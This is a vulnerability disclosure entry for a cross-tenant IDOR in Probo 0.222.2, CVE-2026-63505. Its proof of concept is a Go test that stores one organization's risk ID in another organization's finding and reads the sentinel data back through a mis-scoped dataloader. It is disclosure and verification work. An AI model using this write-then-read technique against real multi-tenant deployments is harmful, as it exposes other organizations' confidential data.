# Exploit Title: Probo 0.222.2 - IDOR 

# Date: 2026-07-17

# Exploit Author: Pig-Tail (Jorge González Milla)

# Vendor Homepage: https://github.com/getprobo/probo 

# Software Link: https://github.com/getprobo/probo 

# Version: <= 0.222.2 (fixed 0.223.1)

# Tested on: Linux

# CVE: CVE-2026-63505

# Category: webapps

# Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/CVE-2026-63505-probo 



Finding.riskId / ProcessingActivity.dataProtectionOfficerId are stored without a tenant-scoped load, and the read resolver authorizes the parent while the dataloader scopes by the child's own GID -> cross-tenant read. Advisory: GHSA-c74x-79w6-63jh. NOTE: PoC is a Go test using embedded-postgres.



The PoC is a benign, local verification harness (sentinel-based; no network attack, no

persistence, no destructive payload). Run against a local instance of the affected version.



--- PoC (idor_test.go) ---

package idorpoc



import (

"context"

"fmt"

"testing"

"time"



" http://github.com/stretchr/testify/require "

" http://go.gearno.de/kit/pg "

" http://go.probo.inc/probo/internal/test "

" http://go.probo.inc/probo/pkg/coredata "

" http://go.probo.inc/probo/pkg/gid "

)



// TestFindingRiskCrossTenantIDOR is a benign, runtime PoC for the cross-tenant

// IDOR in the Finding->Risk relation (console v1):

//   - Write gap: http://FindingService.Create/Update  (finding_service.go:147,248) store

//     req.RiskID with no scoped validation; coredata Finding.Insert has no tenant

//     FK on risk_id. => an org-A finding can reference an org-B risk.

//   - Read gap: findingResolver.Risk (audit_resolvers.go:303) authorizes the

//     *finding* (org A), then the dataloader (dataloader.go:223) scopes by the

//     *risk's own GID* (NewScopeFromObjectID) => returns the org-B risk.

// Benign marker: a sentinel risk name created in org B is read back through the

// org-B-scoped load that the resolver uses.

func mkOrg(t *testing.T, client *pg.Client) (gid.TenantID, gid.GID, *coredata.Scope) {

t.Helper()

tenantID := gid.NewTenantID()

orgID := gid.New(tenantID, coredata.OrganizationEntityType)

now := time.Now()

err := client.WithTx(context.Background(), func(ctx context.Context, tx pg.Tx) error {

_, err := tx.Exec(ctx,

`INSERT INTO organizations (id, tenant_id, name, created_at, updated_at) VALUES ($1,$2,$3,$4,$5)`,

orgID.String(), tenantID.String(), "org-"+orgID.String(), now, now)

return err

})

require.NoError(t, err)

return tenantID, orgID, coredata.NewScope(tenantID)

}



func TestFindingRiskCrossTenantIDOR(t *testing.T) {

client := test.PGClient(t)

ctx := context.Background()



tenantA, orgA, scopeA := mkOrg(t, client)

tenantB, orgB, scopeB := mkOrg(t, client)

_ = tenantA



const sentinel = "SECRET-ORG-B-RISK-do-not-disclose"

riskB := &coredata.Risk{

ID: gid.New(tenantB, coredata.RiskEntityType), OrganizationID: orgB,

Name: sentinel, Category: "confidential", Treatment: coredata.RiskTreatmentMitigated,

Note: "internal", InherentLikelihood: 3, InherentImpact: 3,

ResidualLikelihood: 2, ResidualImpact: 2, CreatedAt: time.Now(), UpdatedAt: time.Now(),

}

require.NoError(t, client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {

return riskB.Insert(ctx, tx, scopeB)

}), "seed org-B risk")



// --- WRITE GAP: create a finding in org A referencing org B's risk ---

findingA := &coredata.Finding{

ID: gid.New(tenantA, coredata.FindingEntityType), OrganizationID: orgA,

Kind: coredata.FindingKindObservation, Status: coredata.FindingStatusOpen,

Priority: coredata.FindingPriorityMedium,

RiskID:   &riskB.ID, // <-- cross-tenant risk id, attacker-supplied via CreateFindingInput.riskId

CreatedAt: time.Now(), UpdatedAt: time.Now(),

}

writeErr := client.WithTx(ctx, func(ctx context.Context, tx pg.Tx) error {

return findingA.Insert(ctx, tx, scopeA) // scope = org A, exactly as FindingService.Create does

})

require.NoError(t, writeErr, "WRITE GAP: org-A finding must NOT be allowed to reference org-B risk, but Insert succeeded")

t.Logf("WRITE GAP confirmed: org-A finding %s stored risk_id=%s (org B)", findingA.ID, riskB.ID)



// --- READ GAP: the dataloader scopes by the risk's OWN gid (org B) ---

loaded := &coredata.Risk{}

readErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {

// exactly what dataloader.fetchRisks does: scope := NewScopeFromObjectID(riskGID)

return loaded.LoadByID(ctx, conn, coredata.NewScopeFromObjectID(riskB.ID), riskB.ID)

})

require.NoError(t, readErr, "READ GAP: risk should not be loadable by an org-A request")

require.Equal(t, sentinel, loaded.Name)

t.Logf("READ GAP confirmed: org-A request read org-B risk name=%q via NewScopeFromObjectID(risk.gid)", loaded.Name)



// --- CONTRAST: proper org-A scoping would NOT find org-B's risk ---

contrast := &coredata.Risk{}

cErr := client.WithConn(ctx, func(ctx context.Context, conn pg.Querier) error {

return contrast.LoadByID(ctx, conn, scopeA, riskB.ID) // org-A tenant scope

})

require.Error(t, cErr, "CONTRAST: org-A-scoped load of org-B risk must fail (proves the scope-from-key choice IS the bug)")

fmt.Printf("\n=== CROSS-TENANT IDOR CONFIRMED ===\norg-A finding referenced org-B risk (write gap) AND org-B risk %q was disclosed via risk-gid scope (read gap); org-A-scoped load correctly failed (%v)\n", sentinel, cErr)

}